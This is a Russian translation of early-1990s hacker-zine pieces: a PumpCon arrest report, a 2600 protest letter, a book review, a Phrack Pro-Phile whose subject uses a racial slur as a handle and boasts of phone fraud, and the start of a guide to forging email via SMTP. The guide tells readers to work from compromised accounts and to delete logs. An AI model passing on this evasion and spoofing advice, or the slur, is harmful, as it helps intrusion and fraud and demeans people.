Каждого задержанного обыскали в поисках дискет, рукописных заметок о кредитных и компьютерных сервисах, автодозвончиков и подобного. Был также обыскан номер, где проходил PumpCon. Среди изъятого оборудования — как минимум два компьютера Amiga с мониторами, модемами и дискетами, а также один тупой терминал AT&T с модемом.

Каждый задержанный был по очереди допрошен. Незадолго до рассвета воскресенья, 1 ноября, полиция приступила к реальным арестам. Были задержаны от четырёх до восьми человек и отправлены в местную тюрьму.

Остальные задержанные были отпущены без обвинений и без ареста.

---

А теперь — личное послание тем, кто только входит в мир хакинга:

Многие участники PumpCon '92 были такими же, как я. Я осознавал возможные последствия ареста, но полная серьёзность происходящего до меня не дошла. Быть пойманным — значит реально сломать себе жизнь, и я не готов жертвовать свободой и получать уголовное прошлое ради удовольствия тусоваться с «элитой».

Я лично был смертельно напуган и мигом распрощался со всеми своими мечтами о том, чтобы стать каким-то крутым киберпанком. Закон имел над нами десятикратное превосходство (буквально и образно), и пока я пишу это в понедельник вечером, у меня всё ещё не унимается дрожь.

Тем, кто ещё не задумывался, каково это — по-настоящему попасться: попробуйте представить ту ночную картину. А на рассвете многих людей, с которыми ты отрывался ещё двенадцать часов назад, увозят в наручниках навстречу неизвестному будущему.

Участники PumpCon, включая меня, за редкими исключениями, были законченными и полными идиотами. Они думали, что могут вести себя как придурки, громить гостиницу и фрикать с номерных телефонов, не навлекая на себя расправу, как поток раскалённой лавы. Они думали, что слишком умны, чтобы попасться. Они думали, что бессмертны. Они думали неправильно — и теперь некоторые из них за это заплатят.

Мне повезло. Меня отпустили, и я вынес бесценные уроки.

Не могу достаточно настойчиво сказать всем, кто относится к хакингу как к большой игре: когда ночь закончится, свои шарики назад вы не получите. Ставки настоящие. Спросите себя, готовы ли вы к возможности сломать жизнь, не успев её начать.

Каждый должен принять собственное решение. Вам даётся лишь этот один шанс уйти сейчас — все остальные, что встретятся на пути, будут уже милостью свыше.

Если вы всё же решите жить в компьютерном андеграунде, могу лишь посоветовать следующее: прикрывайте зад. Не поступайте глупо. Не водитесь с дураками. Помните, что вы не бессмертны и что в конечном счёте страховочных сетей не существует. Ум не всегда может вас спасти. Не верьте в обратное из самонадеянности. Мой путь киберпанка был коротким и ничем не примечательным, но именно это он мне и преподал.

Я не говорю, что вам не стоит становиться хакером. Если таково ваше истинное желание — я не тот, кто будет вас останавливать. Я просто предупреждаю: когда случится падение, оно может быть жёстким, и помочь вам, когда вы зашли достаточно далеко за черту, уже никто не сможет.

Phil "The Outlander"

---

**Встреча 2600 сорвана правоохранителями**



12 декабря 1992

by Emmanuel Goldstein (редактор 2600 Magazine)

Ниже — письмо, которое я написал в Washington Post в ответ на их статью о событиях в торговом центре Pentagon City Mall 6 ноября, озаглавленную «Хакеры заявляют о преследовании в торговом центре» (от 13 ноября, стр. A1). В их материале не уделено должного внимания поразительному факту участия федерального правительства и зловещим последствиям подобных действий. Статья также практически не рассеивает паники, нагнетаемой в массы каждый раз, когда звучит слово «хакер».

Давайте внимательно посмотрим на то, что подтверждено на сегодняшний день. Группа компьютерных хакеров собралась в местном торговом центре, как делает это раз в месяц. Аналогичные собрания проходят в других городах годами без каких-либо инцидентов. Эта встреча не преследовала целей создания помех кому-либо, и никто не обвинял хакеров ни в каких противоправных действиях. Это была просто встреча для общения. Именно для этого люди собираются в фуд-кортах, и хакеры намеревались делать не более того.

Когда охрана торгового центра окружила группу и потребовала, чтобы все прошли досмотр, стало совершенно ясно, что происходит что-то из ряда вон выходящее. Тех, кто сопротивлялся, угрожали арестовать. У всех записали имена, у всех проверили сумки. Один человек попытался записать номера жетонов тех, кто это делал. Листок вырвали из его рук и разорвали в клочья. Другой хакер попытался заснять происходящее на плёнку. Его задержали и засветили плёнку в камере. Учебники, блокноты и личные вещи были изъяты. Многое до сих пор не возвращено. Группу удерживали почти час, после чего велели убираться из торгового центра, пригрозив арестом в случае возвращения.

Такое обращение должно было бы шокировать большинство людей, особенно в сочетании с подавляющим количеством доказательств и показаний очевидцев, подтверждающих, что группа не вела себя необычно или провокационно. Подвергать людей обыску и официальному запугиванию только из-за их интересов, образа жизни или внешнего вида — это противоречит всему, на чём держится наше общество. Одного этого факта достаточно для осуждения вопиющего злоупотребления властью. Но история на этом не заканчивается.

Преследование хакеров охраной торгового центра было лишь самым очевидным элементом. Главное внимание на данный момент следует сосредоточить на Секретной службе США, которая, по словам Эла Джонсона, начальника охраны торгового центра, «дирижировала» всем этим. Другие СМИ, в частности отраслевой бюллетень Communications Daily, сообщили со слов Джонсона, что в тот день Секретная служба была повсюду в торговом центре и фактически отдала приказ об организации этих преследований. Полиция Арлингтона подтверждает, что Секретная служба в тот день находилась в торговом центре.

Известно, что Секретная служба как подразделение Министерства финансов расследует мошенничество с кредитными картами. Мошенничество с кредитными картами, в свою очередь, может быть совершено посредством компьютерных преступлений. Некоторые компьютерные хакеры теоретически могут использовать свои таланты для компьютерных преступлений. Отсюда и вытекает нынешняя политика Секретной службы, которая, судя по всему, трактует всех представителей хакерского мира как доказанных фальшивомонетчиков. Такой подход основан на заблуждениях и граничащей с паникой тревогой. Ситуацию усугубляет всегда присутствующий разрыв поколений — большинство хакеров молоды, а большинство чиновников — нет.

Помимо возмущения грубыми обобщениями, лежащими в основе их политики, представляется колоссальным расточительством ресурсов использовать нашу Секретную службу для слежки за публичными собраниями в торговых центрах. Похоже, что это прямое нарушение наших прав — позволять им срывать эти встречи и запугивать участников, пусть и косвенно. Как и любое другое государственное ведомство, Секретная служба обязана соблюдать правила и не нарушать

конституционных прав граждан.

Если такие действия не будут публично осуждены, мы фактически выдадим им лицензию на продолжение и расширение этой практики. Описанный инцидент напоминает мрачные времена Советского Союза, когда правозащитников запугивали государственные агенты и их подчинённые. Да, это технологические энтузиасты, а не активисты. Но то, кем они являются, не суть важно. Мы не можем допустить, чтобы государство злоупотребляло правами любого человека или группы только потому, что те могут быть неоднозначными.

Почему хакеры вызывают такую неоднозначность? Само их существование неудобно для тех, кто так отчаянно хочет верить, что король одет. Хакеры склонны указывать на очевидные недостатки компьютерных систем, которым мы доверяем всё большую и растущую часть нашей жизни. Многие не хотят слышать о том, насколько шатко держится всё это многообразие систем и насколько много личных данных доступно столь многим людям. Поскольку хакеры умудряются демонстрировать, насколько просто получать и манипулировать этой информацией, их объявляют полностью ответственными за сами бреши в безопасности.

Однако вопреки большинству представлений в прессе, хакеры крайне мало заинтересованы в том, чтобы читать чужие личные файлы. По иронии, они склонны ценить приватность больше, чем остальные из нас, потому что из первых рук знают, насколько она уязвима. На протяжении многих лет хакеры выходили в СМИ, чтобы разоблачить слабые места в наших агентствах кредитных отчётов, системе оценок нью-йоркских государственных школ, военных компьютерных системах, системах голосовой почты и даже в широко используемых кнопочных замках, дающих ложное чувство безопасности. Ни один из этих примеров не получил сколько-нибудь значимого освещения в СМИ и, как следствие, надлежащая защита либо была отложена, либо так и не была реализована.

И напротив — всякий раз, когда правительство решает преследовать хакера, большинство СМИ сосредотачиваются на том, что хакер «мог бы сделать», будь он злонамеренным. Это укрепляет неверный образ хакеров как главной угрозы нашей приватности и полностью игнорирует несостоятельность самой системы.

Выходя на публику и встречаясь с другими хакерами и нехакерами в открытой обстановке, мы развеяли многие мифы и помогли создать среду, благоприятную для обучения. Но послание, которое мы получили в Pentagon City Mall, говорит нам: прячьтесь, будьте скрытными, никому не доверяйте. Возможно, именно так Секретная служба и хочет, чтобы вели себя хакеры. Но мы не преступники и отказываемся вести себя как таковые только потому, что нас так воспринимают неосведомлённые чиновники.

Вне зависимости от наших индивидуальных взглядов на хакерский вопрос, мы должны быть возмущены и крайне обеспокоены действиями Секретной службы. Независимо от того, считаем ли мы хакеров порядочными людьми, мы должны признать, что они имеют право на те же конституционные свободы, которые остальные из нас принимают как должное. Любое иное отношение равнозначно установлению очень опасного и безрассудного прецедента.

Emmanuel Goldstein

Редактор, 2600 Magazine — The Hacker Quarterly (516)751-2600

*(Примечание: 2600 Magazine координирует ежемесячные встречи хакеров по всей стране.)*

---

## **Две новые твёрдые обложки**

24 ноября 1992

*by Alan J. Rothman (New York Law Journal, cmp. 5)*

В открывающей сцене классического британского телесериала «Заключённый» главный герой, известный лишь как Номер 6 (блестяще сыгранный Патриком МакГуэном), похищен и доставлен в секретное место под названием «Деревня». Он с отчаянием спрашивает у похитителей: «Что вам нужно?» Их мрачный ответ: «Информация.» На протяжении 17 захватывающих эпизодов его похитители устраивали изощрённые высокотехнологичные розыгрыши, чтобы узнать, почему он ушёл с работы шпиона.

Если бы эта история разворачивалась в 1990-х, а не в 1960-х, хозяевам «Деревни» понадобился бы лишь РС и модем. Они могли бы составить досье о передвижениях Номера 6, перекрёстно сверив записи из любой коммерческой базы данных, содержащей подробности о повседневной жизни практически каждого человека. А затем, проявив немного изобретательности, попытались бы похитить ещё больше информации, взломав другие закрытые системы данных.

Уже не выдумка, а повсеместный факт: стремительный рост компьютеров и телекоммуникационных сетей порождает неотложные правовые вопросы относительно содержания, использования и собственности на данные, циркулирующие по ним. Возникли также дилеммы, касающиеся ответственности предприятий, которые собирают, обрабатывают и переупаковывают такую информацию. Действительно, мы достигли критической точки, в которой основополагающие конституционные права на неприкосновенность частной жизни и свободу слова сталкиваются с всё расширяющимся охватом современных технологий.

Недавно вышли две хорошо написанные книги, которые вместе очерчивают спектр актуальных вопросов индивидуальных прав в этих областях с поразительной симметрией. К счастью, ни одна из них не скатывается в проповедь о том, что «компьютеры — зло». Напротив, они рисуют соответствующий баланс между достоинствами компьютеризации и тревожными случаями технологических злоупотреблений в противоправных коммерческих и государственных целях.

Новый тревожный сборник новых форм электронного посягательства на личную жизнь представляет Джефффри Ротфедер в своей книге «Конфиденциальность на продажу: как компьютеризация превратила частную жизнь каждого в открытый секрет» (Simon & Schuster, 224 стр., 22 доллара). Он предлагает леденящий тезис: любой человек может узнать практически всё о ком угодно, и укрыться больше нигде. Свою позицию он убедительно излагает в сжатом и проницательном исследовании тенденций и злоупотреблений в массовой обработке персональных данных.

Подробно описаны увлекательные механизмы того, как и где собираются и оцифровываются сведения практически о каждом аспекте нашей жизни. Наиболее богатыми источниками служат медицинские записи, кредитные истории, заявки на ипотеку, списки подписчиков, телефонные записи, водительские удостоверения и страховые полисы. Однако, несмотря на законные коммерческие и регуляторные основания для предоставления этих данных, автор тщательно документирует ещё одно, более глубоко скрытое и тревожное следствие добровольного раскрытия такой информации: она постоянно перепродаётся, объединяется с другими источниками и используется без вашего ведома и согласия в целях, совершенно отличных от тех, что вы изначально предполагали.

Г-н Ротфедер утверждает, что наиболее опасным результатом этой деятельности является растущая и хорошо организованная продажа, интеграция и перекрёстное сопоставление баз данных. Предприятия и государственные структуры теперь располагают сложным программным обеспечением для создания комплексных демографических профилей отдельных людей, населённых пунктов и географических районов. В свою очередь, эти компьютерные синтезы всё шире применяются для вторжения и дискриминации.

Приведено множество примеров таких злоупотреблений — от слегка раздражающих до откровенно ужасающих. Поразительная широта этого списка включает: продажу данных водительских удостоверений с указанием роста и веса маркетологам одежды для высоких мужчин и худых женщин; использование работодателями кредитных историй и отчётов о производственных травмах в качестве индикатора характера соискателя; и создание «файлов склонностей» федеральными ведомствами для выявления людей, не совершивших никакого правонарушения, но предположительно способных стать преступниками.

Торговлю интимной информацией пронизывают ещё две проблемы. Первая: существует мало федерального законодательства или оно практически отсутствует, чтобы эффективно защитить людей от ряда описанных в книге проблем. Например, раскрытие медицинских записей, считающихся «конфиденциальными», практически не защищено.

Вторая: исправить ложные записи крайне сложно до того, как они оказали волновой эффект на ваши другие данные. Помимо привычных историй о мытарствах с исправлением ошибочного кредитного отчёта, г-н Ротфедер рассказывает о человеке, которому отказали в любой медицинской страховке, поскольку в его медицинской карте содержалась ошибочная запись о положительном ВИЧ-статусе.

## **Путешествие в киберпространство**

Обращаясь к значительно более точному изложению, Брюс Стерлинг ведёт читателей в эфемерное царство «киберпространства», где компьютеры, сети и электронные доски объявлений (BBS) объединены телефоном. В своей первой документальной работе, «Хакерский разгром: закон и беспорядок на электронном рубеже» (Bantam, 328 стр., 23 доллара), он описывает масштабные усилия правительства США в 1990 году по преследованию «хакеров», подозреваемых в компьютерных преступлениях. Однако г-н Стерлинг разграничивает этот термин как нечто, относящееся скорее к активным компьютерным энтузиастам, большинство из которых никогда не совершали ничего противозаконного. Среди других работ писателя — ряд высоко оценённой «киберпанковской» научной фантастики, где компьютерные технологии занимают центральное место в сюжетах и персонажах.

Описанный автором «разгром» начался с краха системы дальней связи AT&T 15 января 1990 года. Хотя так и не было доказано, что хакеры несут за это ответственность, это событие послужило последним толчком, побудившим федеральные правоохранительные органы к согласованным действиям против предполагаемого подполья компьютерных преступников. Были проведены различные контрмеры. Наиболее примечательной стала операция «Sandeil» в мае следующего года, когда агенты по всей стране конфисковали 42 компьютерные системы, 23 000 дискет и закрыли 25 BBS, на которых, по мнению правительства, хакеры обменивались секретами мастерства.

Часть судебных преследований, последовавших за этими общенациональными усилиями, оказалась умеренно успешной. Однако драматической кульминацией книги является судебный процесс над Крейгом Нейдорфом (a.k.a. Knight Lightning). Г-н Нейдорф сотрудничал с Phrack — электронным журналом для хакеров, доступным на различных BBS.

В январе 1989 года другой хакер по имени «Prophet» передал Нейдорфу документ, похищенный им из компьютеров BellSouth и касавшийся системы экстренного вызова 911. Вместе они отредактировали текст, который Нейдорф затем опубликовал в Phrack. В июле 1990 года он был предан суду по федеральным обвинениям в сговоре с Prophet с целью похищения этого документа. Правительство утверждало, что документ стоит 79 499 долларов и что его публикация угрожает работе экстренных служб. К разочарованию прокуроров, дело было закрыто, когда защита доказала, что те же самые материалы находились в открытом доступе всего за 13 долларов.

С проницательностью и изяществом г-н Стерлинг использует этот и другие события, чтобы взглянуть на применимые вопросы гражданских свобод под новым захватывающим углом.

Полностью ли распространяются конституционные гарантии свободы слова и собраний на диалоги и встречи в BBS? На какой уровень приватности можно рассчитывать в отношении персональных данных в системах, которые могут быть подвержены тайному проникновению? Действительно ли хакеры нарушают какие-либо законы, просто исследуя новые системы? Считается ли публикацией размещение сообщения или документа на BBS? Следует ли вести мониторинг всех BBS просто в силу их потенциала для незаконной деятельности? Какова ответственность операторов BBS за содержимое своих систем и доступ к ним?

Деятельность Митчелла Капора, сооснователя Lotus 123 и нынешнего председателя ONtechnology, изображается как прямой ответ на подобные вопросы, поднятые разгромом. Г-н Капор собрал видных коллег-компьютерщиков для создания Electronic Frontier Foundation (EFF), призванной заниматься образованием и лоббированием свободы слова и выражения в электронных СМИ. Кроме того, EFF оказала поддержку Крейгу Нейдорфу и другим, кого считает несправедливо обвинёнными в компьютерных преступлениях.

Помимо серьёзных правовых вопросов, автор также украшает свою историю колоритным хакерским фольклором. Эти обитатели киберпространства — преимущественно молодые люди подросткового возраста или чуть за двадцать, нередко заряженные фастфудом и движимые мачизмом. Пожалуй, самая забавная их черта — псевдонимы, которые они принимают: Bloodaxe, Shadowhawk и, конечно же, Phiber Optik.

Кое-кто другой — нехакер, получивший псевдоним «Номер 6» помимо своей воли, — знал, что каждый его шаг постоянно отслеживается и фиксируется против его воли. Как проявление сопротивления этой неусыпной слежке, он нередко прощался с другими жителями Деревни саркастическим «Be seeing you» («До скорого»). Сегодня произведения авторов Ротфедера и Стерлинга представляют собой звонкое «And you» («И вас тоже», — фраза, часто употреблявшаяся жителями Деревни) в качестве ответного эха, чтобы привлечь внимание к парадоксальному многообразию угроз, порождённых информационными технологиями.

Номеру 6 ловко удалось вырваться из своего вымышленного заточения в Деревне в финальном (и умопомрачительном) эпизоде «Заклѳючѳнного». Однако, судя по убедительным свидетельствам, представленным в этих двух книгах, защита индивидуальных прав в реальности сегодняшней складывающейся «глобальной деревни» компьютерных сетей и телекоммуникаций может оказаться далеко не столь аккуратно разрешимой задачей.

# Phrack Pro-Phile: Supernigger

**Автор:** создано Taran King (1986)

---

Добро пожаловать в Phrack Pro-Phile. Рубрика Phrack Pro-Phile создана для того, чтобы рассказывать вам, читателям, о старых или особенно важных/скандальных персонажах. В этом месяце мы представляем, пожалуй, одного из самых спорных людей (и ников) за всю историю компьютерного андеграунда...

Supernigger  
~~~~~

---

## Личное

Ник: Supernigger  
Обращаться: SN  
Дата рождения: Давно  
Возраст: Годы берут своё  
Рост: Средний  
Вес: Средний  
Компьютеры: Commodore Vic-20, C64, Amiga, 386 Compatible

Откуда взялся этот ник? В 1985 году я позвонил через bluebox на конференц-мост. Кто-то там, по какой-то причине, решил, что я ему не нравлюсь, и заорал: «Уматывай, нигер!» Затем он попытался выбить меня тоном 2600 Гц. Я немедленно перезвонил через канал, который на 2600 Гц не реагирует, и когда он снова заорал «Уматывай, нигер!» и дунул 2600 Гц, я ответил: «Я СУПЕРнигер, ты меня не выбьешь, у меня ВЛАСТЬ!!» Весело, не правда ли?

---

## Как я начал

Примерно в 82-м или 83-м году я обзавёлся замечательным компьютером — Commodore Vic-20. На нём я написал несколько ни к чему не обязывающих программ и много играл в «Gorf!». Потом один приятель посоветовал купить Commodore C-64 с дисководом ради всех тех крутых вarezов, которые на нём водились.

Само собой, я не разочаровался. А затем друг показал мне пятизначный номер, который можно было ввести после звонка на номер доступа — и он совершал звонок за тебя! Только представьте! Вот оно, думал я, — ключ к БЕЗЛИМИТНЫМ ВАРЕЗАМ!

Потом новые вarezы быстро надоели и стали скучными. Я их собрал все. Новые. Старые. Средней свежести. Вarezов у меня было навалом. Как раз когда я собрался бросить всё это, я увидел на борде номер для InterCHAT (201) — многолинейной чат-системы.

Именно тогда и начался бесконечный парад веселья и интересных затей. Именно там я познакомился с Sharp Remob, Lord\_foul (DP), Dark Wanderer и другими членами DPAK.

Говоря о DPAK: группа возникла, когда мы нашли глюк в номере доступа MCI, позволявший работать любому 14-значному коду. Мы придумали шутку: «Сегодня в 14:00 агенты DPAK прижали сотрудника MCI к стенке и сказали: "Вы ДАДИТЕ этим людям бесплатные звонки!"» — и начали

рассказывать людям о глюке. («DPAK» придумал Mad Hacker 312: когда его спросили, как получить закрытые номера, он ответил: «О, для этого надо быть Агентом DPAK».)

После этого DPAK занимался пробивкой людей ещё до появления Caller ID, нахождением и созданием мостов, организацией номера 800 для InterCHAT (на самом деле двух, если успевали поймать второй), выпуском файла Social Engineering от Sharp Remob и другими делами, о которых лучше умолчать (я бы продолжил, но, пожалуй, напугаю вас).

Должен сказать, что я очень негативно отношусь к «элитным позёрам» — людям, которые делают вид, что всё знают, исключительно ради того, чтобы выглядеть «круто». Это те самые типы, которые хвастаются, сколько времени провели в теме (что совершенно не имеет значения), сыплют случайными аббревиатурами, не имея ни малейшего понятия об их реальном применении, и пытаются сделать что-то сложным и таинственным из того, что на самом деле обыденно и просто. Например: «Эй, чувак, осторожно, я сейчас могу слушать твою линию через DAMT», или «О, я просто воспользуюсь мультиплексором DRT trunk для случайного Interphase-перехвата на тандемизированном транке». (Тошнит!)

Ещё я считаю, что правительственные облавы — это полный отстой. Хуже всего то, что власти гонятся за громкими ИМЕНАМИ, а не за реальными -ПРЕСТУПЛЕНИЯМИ-. Вместо того чтобы пресекать преступления, они просто хотят «показать, кто главный». Ломаются судьбы ни в чём не повинных людей. Собственно, после выхода этого номера Phrack я планирую залечь на дно — теперь, когда мой ник появился в фрик/хакерском издании, они, наверное, захотят добраться до меня.

---

## Интересы

Женщины: Быстрые  
Тачки: Быстрые (VW)  
Еда: Быстрая  
Музыка: Всё подряд (Рэп, Рок, Метал — что угодно)  
Любимые исполнители: 2 Live Crew  
Любимый автор: Lord Digital (отец ЭЛИТ!ности)  
Любимая книга: Nat!onal Enl!ghtener

---

## Самые памятные события

«Работает! Работает!!» — когда номер 800 для InterCHAT действительно заработал. Кто звонил туда, тот помнит. Это потребовало огромной работы...

Ещё в какой-то момент все чат-системы Нью-Джерси были переадресованы на InterCHAT. Это было поистине уморительно. Настоячиво рекомендую всем воздержаться от подобных попыток. Последствия теперь куда серьезнее. Но если уж очень надо — будьте ОЧЕНЬ ОЧЕНЬ осторожны.

...И я хотел бы воспользоваться этой возможностью, чтобы прояснить «Инцидент Free World II» и другие смутные и туманные заявления, описанные в Phrack 28. Прежде всего: я -НЕ РОНЯЛ- Black Ice BBS. Вообще-то, какой-то хмырь из Техаса сам сказал мне, что написал моё имя на той BBS, когда её грохнули. Тот же хмырь имеет привычку врать и распускать слухи, так что я на самом деле не знаю, он ли написал моё имя. Достаточно сказать, что я её не ронял.

Во-вторых, и это главное: BBS Free World II была переадресована на InterCHAT, потому что Major Navos был законченным МУДАКОМ.

Я позвонил на его систему и подал заявку на доступ. Когда я попытался войти снова, оказалось, что моя заявка была удалена без какого-либо уведомления. Я решил, что BBS не сохранила её как следует, и подал заявку повторно. Снова оказалось, что BBS не сохранила её. Когда я попытался заполнить анкету в третий раз, Major Havoc ворвался в чат и написал что-то вроде «Убирайся отсюда» и «Вешай трубку». Я написал «Хорошо, как хочешь» и переадресовал его номер BBS на InterCHAT. Нельзя так обращаться с людьми и ожидать, что всё сойдёт с рук.

Приветственное сообщение на InterCHAT гласило: «Пока Major Havoc не усвоит значение слова ТАКТ (умение общаться с людьми, не оскорбляя их), его BBS используется с большей пользой».

(На ту BBS я звонил, в первую очередь, чтобы опровергнуть дикие слухи, которые, по словам The Blade, там распространялись.)

Надеюсь, всё стало на свои места.

---

## Упоминания

**Sharp Remob** — он открыл мне чудеса социальной инженерии. Сейчас зарабатывает большие деньги.

**Lord\_foul** — я никогда не догадывался, со сколькими людьми он был связан. С очень серьёзными людьми. Он никогда не показывал, сколько знает.

**Applehead** — лучший диджей во всём фрик/хакерском мире. Честно, в сведении пластинок ему нет равных. И похоже, он способен ещё и заворачивать сотрудников телефонных компаний, заставляя их делать всё, что ему нужно. Интересно, связаны ли эти два таланта?

**Meat Puppet** — «Money for nothin, EVERYTHING for free». Зачем кому-то 800 ватт в машине — никогда не пойму.

**Lung C00kiez** — у него были лучшие идеи для конференций: «Want-Ad Fun» и «Operator Frenzy».

**DETH-2-J00Z** — политкорректность отдыхает. Первый человек, которого я знаю, кто придумал теорию пробивки людей до появления Caller ID.

**Dark Wanderer** — теперь работает в Sun Microsystems. Один из немногих хакеров, которых я знаю, кто выбрал техническую карьеру, связанную с компьютерами.

**Krak Dealer** — доводит изменение сознания до уровня искусства.

**Squashed Pumpkin** — вышибала.

**DeeDee** — единственная нормальная девчонка на мостах.

**Dr. Mike** — крутой парень, когда не угрожает своей девушке ножом.

**Gatsby** — получает приз за быстрое обучение.

**orpheus** — один из истинных фанатов InterCHAT и один из немногих людей, которых я знаю, кого реально интересуется HP-3000.

Вся тусовка InterCHAT... Они сделали работу с модемом настоящим удовольствием.

Хочу также упомянуть группу ребят из Нью-Йорка. Называть их имена не буду — определённые юридические обстоятельства это исключают. Они показали мне, что -реально- может сделать человек с глубоким пониманием многих систем.

Достаточно сказать, что они — сливки общества, пожалуй, единственная группа, не уступающая ДПАК.



И ещё — я не могу, я ОБЯЗАН не забыть упомянуть The Blade, который является поистине легендой в собственном воображении.

---

## **Будущее**

Будущее хакинга/фрикинга я вижу довольно мрачным. Большой Брат следит. Системные администраторы наконец осознают, что лучше сделать свою систему непробиваемой, чем преследовать детей (жаль, что правительство этого не понимает). Если сложить эти два фактора, то особо радоваться нечему.

---

## **Напоследок...**

На стандартный вопрос Pro-Phile (являются ли большинство фриков и хакеров, с которыми я встречался, компьютерными задротами?) отвечу так: я лично не встречался ни с одним фрикером или хакером, так что не могу судить, задроты они или нет. По телефонным разговорам — некоторые кажутся задротами, некоторые нет.

# Сетевые заметки: Мощь электронной почты

**Автор:** The Racketeer, участник The Hellfire Club

*Материалы рубрики «Сетевые заметки» собраны из интернет-источников. Рубрика основана Taran King.*

---

Прежде всего, это руководство выходит далеко за рамки простой отправки поддельных писем. Здесь подробно разбираются интерфейсы SMTP — достаточно детально, чтобы вы получили более полное представление о том, что происходит в многочисленных сетях, образующих мировую систему электронной почты. Помимо этого, здесь присутствуют мои обычные грубоватые замечания и мрачный хакерский юмор (если их снова не вырезали при редактировании — хотя я отчасти горжусь тем, что Phrack основательно поработал над моим «языком» в статье прошлого выпуска. Ну и ладно.).

В этом файле преследуются две цели: во-первых, я постараюсь показать, что использование поддельной почты и SMTP открывает поразительные возможности для хакерских трюков; во-вторых, я попытаюсь стать первым хакером, отправившим электронное письмо по кругу вокруг всего земного шара, открыв тем самым новую эпоху в компьютерном деле!

Настоятельно советую: если вы не хотите, чтобы вас линчевали, не пытайтесь сломать то, что нельзя легко починить. Я экспериментировал с поддельной почтой далеко за пределами этой статьи, и результаты оказались одновременно впечатляющими и катастрофическими. Поэтому давайте сначала разберём риски, а потом перейдём к интересному. Базовая философия — пользуйтесь мозгами, если они у вас есть.

---

## Риски

Попастись на таком деле можно под статью о компьютерном вандализме; это может нарушать законы о несанкционированном доступе; вероятно, это противоречит сотням правил NFS, Bitnet и частных компаний, а также их этическим кодексам; и наконец, кто-то наверняка разозлится настолько, что захочет отомстить.

Сети обладают весьма неплохими возможностями для отслеживания. Если вас зафиксируют, ваш хост может быть отключён по дисциплинарному предписанию сетевых администраторов (пока, правда, такого не происходило). Аккаунт почти наверняка будет аннулирован, а если вы являетесь сотрудником или членом организации, которой принадлежит исходный или целевой компьютер, — ждите какой-нибудь политической трепки, которая может обернуться отстранением, исключением, увольнением или просто долгой головной болью.

Наконец, если правительство поймает вас за попыткой нанести вред компьютерной системе, вы, скорее всего, получите крупный штраф, общественные работы или то, и другое.

Вероятность любого из этих исходов, если вы действуете умно: < 1%.

---

## Рекомендуемые меры предосторожности

Если у вас есть левый аккаунт (стандартный хакерский инструментарий), используйте его, ради бога. Не давайте «им» знать, кто на самом деле за этим стоит. (Поясню: я очень часто упоминаю «их» — в реальной жизни и в файлах. «Они» — это тупоголовые «блюстители нравственности», которые пытаются списать собственную непродуктивность и бездарность на твои псевдопреступления с компьютером. ФБР, спецслужбы, администраторы, бухгалтеры, идиоты из SPA с их «Don't Copy that Floppy», религиозные мракобесы, тупые реднеки, правые консерваторы-республиканцы-активисты, копы, АНБ, политики, которые до сих пор ДУМАЮТ, что могут нас контролировать, городские чиновники, судьи, тупые присяжные, считающие, что хакер отделается лёгким наказанием, лоббисты, которые хотят свалить провал своего софта на детей, банкиры, инвесторы, и, пожалуй, каждый возмущённый посетитель итальянского ресторана Stifino's, где в прошлом месяце проводилась встреча Colorado 2600. Хватит паранойи в духе Иллюминати, вернёмся к делу.)

Убедитесь, что вы удаляете файлы истории, логи и т. д., если у вас есть к ним доступ. Старайтесь использовать компьютеры, которые не ведут логов. Проверьте `/usr/adm`, `/etc/logs` на предмет того, какие логи хранятся.

Если есть возможность не использовать свой локальный хост (ведь вы дорожите сетевыми подключениями в целом), воздержитесь. Это поможет избежать подозрений в том, что на вашем хосте завелись хакеры.

---

## Если вас всё же прижали

*«Должно быть, они взломали этот аккаунт с какого-то другого сайта!»*

*«Хакеры? Здесь? Я никогда не смотрю на who, когда захожу в систему.»*

*«Они могли быть суперпользователем — следите, не вернётся ли эта мразь.»*

*«Ну бросьте, наверное, они раздули из мухи слона. Что такого страшного может быть в электронном письме?»*

*«Просто удалите аккаунт, и виновник сам явится к вам в кабинет утром.»  
(Разумеется, вы пользовались левым аккаунтом.)*

---

## Часть первая: Электронная почта

По большому счёту электронная почта стала новым предпочтительным средством быстрой передачи мыслей. Она быстрее обычной почты, дешевле обычной почты, не уходит в отпуск каждые пять минут, как обычная почта, и совершенно бесплатна, так что у неё нет профсоюза.

Конечно, вы всё это знаете и лучше потратите время на то, чтобы досконально разобраться в SMTP.

Насколько мне известно, полное и точное описание протоколов SMTP не публиковалось ни в одном хакерском журнале. Оригинал (по крайней мере, первое, что я видел) был опубликован в Legion of Doom Technical Journals и освещал минимальный набор шагов SMTP, необходимых для программы `sendmail`, входящей в типичный пакет Unix.

Когда вы подключаете сырой сокет к удалённому SMTP-совместимому хосту, ваш компьютер должен выдать набор команд, в результате которых передаётся информация об отправителе,

получателе и само сообщение. Однако, в отличие от тех, кто предпочитает скорость сжатия и безопасность сырых целочисленных данных, ребята из DARPA решили, что SMTP будет максимально приближён к английскому языку.

Если вы находитесь в интернете и хотите подключиться к SMTP-серверу, введите:

```
telnet <hostname> 25
```

Порт 25 — стандартный порт для SMTP. Менять его было бы неудобно, поскольку многие почтовые серверы подключаются к целевым хостам напрямую.

[Примечание редактора: Все почтовые команды и команды SMTP в тексте предваряются символом «>» в начале каждой строки, чтобы не вводить в заблуждение интернет-рассылщики при отправке этой статьи по электронной почте.]

После подключения вы получите небольшой идентификатор хоста с версией используемого SMTP-сервера.

```
220 huggies.colorado.edu Sendmail 2.2/2.5 8/01/88 ready at Tue, 25 Aug 91
03:14:55 edt
```

Теперь, когда вы подключились, компьютер ожидает команд. Прежде всего, вы должны сообщить, с какого компьютера вы звоните. Это делается командой `HELO`. В качестве значения можно указать что угодно, но если вы не укажете точное имя хоста, с которого подключаетесь, в письме, которое получит адресат, появится следующая строка:

```
> Apparently-to: The Racketeer <rack@lycaeum.hfc.com>
```

Вместо классического:

```
> To: The Racketeer <rack@lycaeum.hfc.com>
```

В этом и заключается секрет хорошей поддельной почты — умение избежать флага «Apparently-to». Хотя он неброский, избавиться от него непросто. В некоторых местах в SMTP встроено столько «защит», что каждое внешнее письмо помечается «Apparently-to». Ну, это их проблемы.

Итак, введите команду `HELO`:

```
> HELO LYCAEUM.HFC.COM
```

Компьютер отвечает:

```
250 huggies.colorado.edu Hello LYCAEUM.HFC.COM, pleased to meet you
```

Тёплый приём. В старых версиях sendmail команда `HELP` сообщает, что компьютеру всё равно на команды `HELO`. Это можно проверить после входа командой `HELP HELO`.

Теперь нужно сообщить компьютеру, кто должен получить письмо. С этого момента открывается масса возможностей. Формат указания получателя:

```
> RCPT TO: <name@host>
```

